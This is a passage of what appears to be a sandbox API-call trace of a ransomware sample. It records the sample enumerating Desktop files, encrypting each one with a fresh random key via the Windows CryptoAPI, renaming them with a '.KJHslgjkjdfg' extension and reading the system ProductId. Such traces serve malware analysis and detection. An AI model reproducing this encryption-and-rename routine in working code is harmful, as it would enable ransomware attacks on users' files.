lpNumberOfBytesWritten=0x4dfe590*=0x3b3, lpOverlapped=0x0) returned 1 [0145.885] CloseHandle (hObject=0x128) returned 1 [0145.885] GetProcessHeap () returned 0x2ef0000 [0145.885] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f16cd8 | out: hHeap=0x2ef0000) returned 1 [0145.885] GetProcessHeap () returned 0x2ef0000 [0145.885] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f3c268 | out: hHeap=0x2ef0000) returned 1 [0145.885] GetProcessHeap () returned 0x2ef0000 [0145.885] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c8e0 | out: hHeap=0x2ef0000) returned 1 [0145.885] GetProcessHeap () returned 0x2ef0000 [0145.885] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0145.885] FindClose (in: hFindFile=0x2f14a78 | out: hFindFile=0x2f14a78) returned 1 [0145.885] GetProcessHeap () returned 0x2ef0000 [0145.885] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f16a30 | out: hHeap=0x2ef0000) returned 1 [0145.886] FindNextFileW (in: hFindFile=0x2f123e8, lpFindFileData=0x4dffa98 | out: lpFindFileData=0x4dffa98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x691593d0, ftCreationTime.dwHighDateTime=0x1d5e56f, ftLastAccessTime.dwLowDateTime=0xefe60870, ftLastAccessTime.dwHighDateTime=0x1d5d824, ftLastWriteTime.dwLowDateTime=0xefe60870, ftLastWriteTime.dwHighDateTime=0x1d5d824, nFileSizeHigh=0x0, nFileSizeLow=0x63e, dwReserved0=0x2ef0138, dwReserved1=0x77c7387a, cFileName="IVXrtOOi.bmp", cAlternateFileName="")) returned 1 [0145.886] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\arTwgkHFeyZkIzVN-v\\IVXrtOOi.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\artwgkhfeyzkizvn-v\\ivxrtooi.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb8 [0145.887] GetProcessHeap () returned 0x2ef0000 [0145.887] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0145.887] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0145.887] SetFilePointerEx (in: hFile=0xb8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dffa28 | out: lpNewFilePointer=0x0) returned 1 [0145.887] WriteFile (in: hFile=0xb8, lpBuffer=0x4dffa38*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x4dffa08, lpOverlapped=0x0 | out: lpBuffer=0x4dffa38*, lpNumberOfBytesWritten=0x4dffa08*=0x2, lpOverlapped=0x0) returned 1 [0145.889] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dffa0c | out: phKey=0x4dffa0c*=0x2f14a78) returned 1 [0145.889] CryptSetKeyParam (hKey=0x2f14a78, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0145.889] GetProcessHeap () returned 0x2ef0000 [0145.889] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0145.889] CryptEncrypt (in: hKey=0x2f14a78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff9f0*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff9f0*=0x40) returned 1 [0145.889] CryptDestroyKey (hKey=0x2f14a78) returned 1 [0145.889] WriteFile (in: hFile=0xb8, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dffa08, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dffa08*=0x40, lpOverlapped=0x0) returned 1 [0145.890] WriteFile (in: hFile=0xb8, lpBuffer=0x4dffa10*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dffa08, lpOverlapped=0x0 | out: lpBuffer=0x4dffa10*, lpNumberOfBytesWritten=0x4dffa08*=0x4, lpOverlapped=0x0) returned 1 [0145.890] WriteFile (in: hFile=0xb8, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dffa08, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dffa08*=0x10, lpOverlapped=0x0) returned 1 [0145.890] WriteFile (in: hFile=0xb8, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dffa08, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dffa08*=0x80, lpOverlapped=0x0) returned 1 [0145.890] SetFilePointerEx (in: hFile=0xb8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dffa30 | out: lpNewFilePointer=0x0) returned 1 [0145.890] WriteFile (in: hFile=0xb8, lpBuffer=0x4dffa20*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dffa08, lpOverlapped=0x0 | out: lpBuffer=0x4dffa20*, lpNumberOfBytesWritten=0x4dffa08*=0x8, lpOverlapped=0x0) returned 1 [0145.890] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dffa0c | out: phKey=0x4dffa0c*=0x2f14a78) returned 1 [0145.890] CryptSetKeyParam (hKey=0x2f14a78, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0145.890] SetFilePointerEx (in: hFile=0xb8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.890] ReadFile (in: hFile=0xb8, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x63e, lpNumberOfBytesRead=0x4dffa14, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dffa14*=0x63e, lpOverlapped=0x0) returned 1 [0145.890] CryptEncrypt (in: hKey=0x2f14a78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff9f0*=0x640, dwBufLen=0x640 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff9f0*=0x640) returned 1 [0145.890] SetFilePointerEx (in: hFile=0xb8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.890] WriteFile (in: hFile=0xb8, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x640, lpNumberOfBytesWritten=0x4dffa08, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dffa08*=0x640, lpOverlapped=0x0) returned 1 [0145.891] CryptDestroyKey (hKey=0x2f14a78) returned 1 [0145.891] SetFilePointerEx (in: hFile=0xb8, liDistanceToMove=0x714, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.891] SetEndOfFile (hFile=0xb8) returned 1 [0145.893] GetProcessHeap () returned 0x2ef0000 [0145.894] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0145.894] GetProcessHeap () returned 0x2ef0000 [0145.894] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0145.894] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\arTwgkHFeyZkIzVN-v\\IVXrtOOi.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\artwgkhfeyzkizvn-v\\ivxrtooi.bmp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\arTwgkHFeyZkIzVN-v\\IVXrtOOi.bmp.KJHslgjkjdfg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\artwgkhfeyzkizvn-v\\ivxrtooi.bmp.kjhslgjkjdfg")) returned 1 [0145.895] CloseHandle (hObject=0xb8) returned 1 [0145.895] FindNextFileW (in: hFindFile=0x2f123e8, lpFindFileData=0x4dffa98 | out: lpFindFileData=0x4dffa98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e600050, ftCreationTime.dwHighDateTime=0x1d5daed, ftLastAccessTime.dwLowDateTime=0xe9a83f90, ftLastAccessTime.dwHighDateTime=0x1d5e7a7, ftLastWriteTime.dwLowDateTime=0xe9a83f90, ftLastWriteTime.dwHighDateTime=0x1d5e7a7, nFileSizeHigh=0x0, nFileSizeLow=0x163c1, dwReserved0=0x2ef0138, dwReserved1=0x77c7387a, cFileName="SLjZMO8WAWC.rtf", cAlternateFileName="SLJZMO~1.RTF")) returned 1 [0145.895] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\arTwgkHFeyZkIzVN-v\\SLjZMO8WAWC.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\artwgkhfeyzkizvn-v\\sljzmo8wawc.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb8 [0145.897] GetProcessHeap () returned 0x2ef0000 [0145.897] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0145.897] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0145.897] SetFilePointerEx (in: hFile=0xb8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dffa28 | out: lpNewFilePointer=0x0) returned 1 [0145.898] WriteFile (in: hFile=0xb8, lpBuffer=0x4dffa38*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x4dffa08, lpOverlapped=0x0 | out: lpBuffer=0x4dffa38*, lpNumberOfBytesWritten=0x4dffa08*=0xf, lpOverlapped=0x0) returned 1 [0145.900] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dffa0c | out: phKey=0x4dffa0c*=0x2f14a78) returned 1 [0145.900] CryptSetKeyParam (hKey=0x2f14a78, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0145.900] GetProcessHeap () returned 0x2ef0000 [0145.900] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0145.900] CryptEncrypt (in: hKey=0x2f14a78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff9f0*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff9f0*=0x40) returned 1 [0145.901] CryptDestroyKey (hKey=0x2f14a78) returned 1 [0145.901] WriteFile (in: hFile=0xb8, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dffa08, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dffa08*=0x40, lpOverlapped=0x0) returned 1 [0145.901] WriteFile (in: hFile=0xb8, lpBuffer=0x4dffa10*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dffa08, lpOverlapped=0x0 | out: lpBuffer=0x4dffa10*, lpNumberOfBytesWritten=0x4dffa08*=0x4, lpOverlapped=0x0) returned 1 [0145.901] WriteFile (in: hFile=0xb8, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dffa08, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dffa08*=0x10, lpOverlapped=0x0) returned 1 [0145.901] WriteFile (in: hFile=0xb8, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dffa08, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dffa08*=0x80, lpOverlapped=0x0) returned 1 [0145.901] SetFilePointerEx (in: hFile=0xb8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dffa30 | out: lpNewFilePointer=0x0) returned 1 [0145.901] WriteFile (in: hFile=0xb8, lpBuffer=0x4dffa20*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dffa08, lpOverlapped=0x0 | out: lpBuffer=0x4dffa20*, lpNumberOfBytesWritten=0x4dffa08*=0x8, lpOverlapped=0x0) returned 1 [0145.901] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dffa0c | out: phKey=0x4dffa0c*=0x2f14a78) returned 1 [0145.901] CryptSetKeyParam (hKey=0x2f14a78, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0145.901] SetFilePointerEx (in: hFile=0xb8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.902] ReadFile (in: hFile=0xb8, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x163c1, lpNumberOfBytesRead=0x4dffa14, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dffa14*=0x163c1, lpOverlapped=0x0) returned 1 [0145.903] CryptEncrypt (in: hKey=0x2f14a78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff9f0*=0x163d0, dwBufLen=0x163d0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff9f0*=0x163d0) returned 1 [0145.904] SetFilePointerEx (in: hFile=0xb8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.904] WriteFile (in: hFile=0xb8, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x163d0, lpNumberOfBytesWritten=0x4dffa08, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dffa08*=0x163d0, lpOverlapped=0x0) returned 1 [0145.905] CryptDestroyKey (hKey=0x2f14a78) returned 1 [0145.905] SetFilePointerEx (in: hFile=0xb8, liDistanceToMove=0x164a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.905] SetEndOfFile (hFile=0xb8) returned 1 [0145.910] GetProcessHeap () returned 0x2ef0000 [0145.910] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0145.910] GetProcessHeap () returned 0x2ef0000 [0145.910] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0145.910] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\arTwgkHFeyZkIzVN-v\\SLjZMO8WAWC.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\artwgkhfeyzkizvn-v\\sljzmo8wawc.rtf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\arTwgkHFeyZkIzVN-v\\SLjZMO8WAWC.rtf.KJHslgjkjdfg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\artwgkhfeyzkizvn-v\\sljzmo8wawc.rtf.kjhslgjkjdfg")) returned 1 [0145.911] CloseHandle (hObject=0xb8) returned 1 [0145.911] FindNextFileW (in: hFindFile=0x2f123e8, lpFindFileData=0x4dffa98 | out: lpFindFileData=0x4dffa98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5ee4c7f0, ftCreationTime.dwHighDateTime=0x1d5dd0e, ftLastAccessTime.dwLowDateTime=0x1dc375b0, ftLastAccessTime.dwHighDateTime=0x1d5e5c3, ftLastWriteTime.dwLowDateTime=0x1dc375b0, ftLastWriteTime.dwHighDateTime=0x1d5e5c3, nFileSizeHigh=0x0, nFileSizeLow=0x2ca0, dwReserved0=0x2ef0138, dwReserved1=0x77c7387a, cFileName="zed03Tq0UOg3BffZXKRw.avi", cAlternateFileName="ZED03T~1.AVI")) returned 1 [0145.911] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\arTwgkHFeyZkIzVN-v\\zed03Tq0UOg3BffZXKRw.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\artwgkhfeyzkizvn-v\\zed03tq0uog3bffzxkrw.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb8 [0145.911] GetProcessHeap () returned 0x2ef0000 [0145.911] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0145.911] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0145.911] SetFilePointerEx (in: hFile=0xb8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dffa28 | out: lpNewFilePointer=0x0) returned 1 [0145.912] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dffa0c | out: phKey=0x4dffa0c*=0x2f14a78) returned 1 [0145.912] CryptSetKeyParam (hKey=0x2f14a78, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0145.912] GetProcessHeap () returned 0x2ef0000 [0145.912] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x50) returned 0x2f15340 [0145.912] CryptEncrypt (in: hKey=0x2f14a78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f15340*, pdwDataLen=0x4dff9f0*=0x50, dwBufLen=0x50 | out: pbData=0x2f15340*, pdwDataLen=0x4dff9f0*=0x50) returned 1 [0145.912] CryptDestroyKey (hKey=0x2f14a78) returned 1 [0145.912] WriteFile (in: hFile=0xb8, lpBuffer=0x2f15340*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x4dffa08, lpOverlapped=0x0 | out: lpBuffer=0x2f15340*, lpNumberOfBytesWritten=0x4dffa08*=0x50, lpOverlapped=0x0) returned 1 [0145.914] WriteFile (in: hFile=0xb8, lpBuffer=0x4dffa10*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dffa08, lpOverlapped=0x0 | out: lpBuffer=0x4dffa10*, lpNumberOfBytesWritten=0x4dffa08*=0x4, lpOverlapped=0x0) returned 1 [0145.914] WriteFile (in: hFile=0xb8, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dffa08, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dffa08*=0x10, lpOverlapped=0x0) returned 1 [0145.914] WriteFile (in: hFile=0xb8, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dffa08, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dffa08*=0x80, lpOverlapped=0x0) returned 1 [0145.914] SetFilePointerEx (in: hFile=0xb8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dffa30 | out: lpNewFilePointer=0x0) returned 1 [0145.914] WriteFile (in: hFile=0xb8, lpBuffer=0x4dffa20*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dffa08, lpOverlapped=0x0 | out: lpBuffer=0x4dffa20*, lpNumberOfBytesWritten=0x4dffa08*=0x8, lpOverlapped=0x0) returned 1 [0145.915] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dffa0c | out: phKey=0x4dffa0c*=0x2f14a78) returned 1 [0145.915] CryptSetKeyParam (hKey=0x2f14a78, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0145.915] SetFilePointerEx (in: hFile=0xb8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.915] ReadFile (in: hFile=0xb8, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x2ca0, lpNumberOfBytesRead=0x4dffa14, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dffa14*=0x2ca0, lpOverlapped=0x0) returned 1 [0145.916] CryptEncrypt (in: hKey=0x2f14a78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff9f0*=0x2ca0, dwBufLen=0x2ca0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff9f0*=0x2ca0) returned 1 [0145.916] SetFilePointerEx (in: hFile=0xb8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.916] WriteFile (in: hFile=0xb8, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x2ca0, lpNumberOfBytesWritten=0x4dffa08, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dffa08*=0x2ca0, lpOverlapped=0x0) returned 1 [0145.916] CryptDestroyKey (hKey=0x2f14a78) returned 1 [0145.916] SetFilePointerEx (in: hFile=0xb8, liDistanceToMove=0x2d84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.916] SetEndOfFile (hFile=0xb8) returned 1 [0145.917] GetProcessHeap () returned 0x2ef0000 [0145.917] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f15340 | out: hHeap=0x2ef0000) returned 1 [0145.917] GetProcessHeap () returned 0x2ef0000 [0145.917] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0145.917] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\arTwgkHFeyZkIzVN-v\\zed03Tq0UOg3BffZXKRw.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\artwgkhfeyzkizvn-v\\zed03tq0uog3bffzxkrw.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\arTwgkHFeyZkIzVN-v\\zed03Tq0UOg3BffZXKRw.avi.KJHslgjkjdfg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\artwgkhfeyzkizvn-v\\zed03tq0uog3bffzxkrw.avi.kjhslgjkjdfg")) returned 1 [0145.920] CloseHandle (hObject=0xb8) returned 1 [0145.920] FindNextFileW (in: hFindFile=0x2f123e8, lpFindFileData=0x4dffa98 | out: lpFindFileData=0x4dffa98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5ee4c7f0, ftCreationTime.dwHighDateTime=0x1d5dd0e, ftLastAccessTime.dwLowDateTime=0x1dc375b0, ftLastAccessTime.dwHighDateTime=0x1d5e5c3, ftLastWriteTime.dwLowDateTime=0x1dc375b0, ftLastWriteTime.dwHighDateTime=0x1d5e5c3, nFileSizeHigh=0x0, nFileSizeLow=0x2ca0, dwReserved0=0x2ef0138, dwReserved1=0x77c7387a, cFileName="zed03Tq0UOg3BffZXKRw.avi", cAlternateFileName="ZED03T~1.AVI")) returned 0 [0145.921] GetProcessHeap () returned 0x2ef0000 [0145.921] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0145.921] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dff7d8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f14a78) returned 1 [0145.921] CryptDecrypt (in: hKey=0x2f14a78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898, pdwDataLen=0x4dff840 | out: pbData=0x2f0c898, pdwDataLen=0x4dff840) returned 1 [0145.921] CryptDestroyKey (hKey=0x2f14a78) returned 1 [0145.921] GetProcessHeap () returned 0x2ef0000 [0145.921] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c8e0 [0145.921] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dff7d8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f14a78) returned 1 [0145.921] CryptDecrypt (in: hKey=0x2f14a78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c8e0, pdwDataLen=0x4dff840 | out: pbData=0x2f0c8e0, pdwDataLen=0x4dff840) returned 1 [0145.921] CryptDestroyKey (hKey=0x2f14a78) returned 1 [0145.921] GetProcessHeap () returned 0x2ef0000 [0145.921] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3c0) returned 0x2f16a30 [0145.921] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dff7d8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f14a78) returned 1 [0145.921] CryptDecrypt (in: hKey=0x2f14a78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f16a30, pdwDataLen=0x4dff840 | out: pbData=0x2f16a30, pdwDataLen=0x4dff840) returned 1 [0145.921] CryptDestroyKey (hKey=0x2f14a78) returned 1 [0145.921] GetProcessHeap () returned 0x2ef0000 [0145.921] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c928 [0145.921] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dff3b0, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f14a78) returned 1 [0145.921] CryptDecrypt (in: hKey=0x2f14a78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c928, pdwDataLen=0x4dff420 | out: pbData=0x2f0c928, pdwDataLen=0x4dff420) returned 1 [0145.921] CryptDestroyKey (hKey=0x2f14a78) returned 1 [0145.922] GetProcessHeap () returned 0x2ef0000 [0145.922] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11778 [0145.922] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dff3b0, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f14a78) returned 1 [0145.922] CryptDecrypt (in: hKey=0x2f14a78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11778, pdwDataLen=0x4dff420 | out: pbData=0x2f11778, pdwDataLen=0x4dff420) returned 1 [0145.922] CryptDestroyKey (hKey=0x2f14a78) returned 1 [0145.922] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x4dff41c | out: phkResult=0x4dff41c*=0xb8) returned 0x0 [0145.922] RegQueryValueExA (in: hKey=0xb8, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x4dff428, lpcbData=0x4dff424*=0x400 | out: lpType=0x0, lpData=0x4dff428*=0x30, lpcbData=0x4dff424*=0x18) returned 0x0 [0145.922] RegCloseKey (hKey=0xb8) returned 0x0 [0145.922] GetProcessHeap () returned 0x2ef0000 [0145.922] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c928 | out: hHeap=0x2ef0000) returned 1 [0145.922] GetProcessHeap () returned 0x2ef0000 [0145.922] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11778 | out: hHeap=0x2ef0000) returned 1 [0145.922] GetProcessHeap () returned 0x2ef0000 [0145.922] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11778 [0145.923] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dff190, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f14a78) returned 1 [0145.923] CryptDecrypt (in: hKey=0x2f14a78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11778, pdwDataLen=0x4dff1f4 | out: pbData=0x2f11778, pdwDataLen=0x4dff1f4) returned 1 [0145.923] CryptDestroyKey (hKey=0x2f14a78) returned 1 [0145.923] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x4dff1f8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0145.923] GetVolumeInformationW (in: lpRootPathName="C:\\", 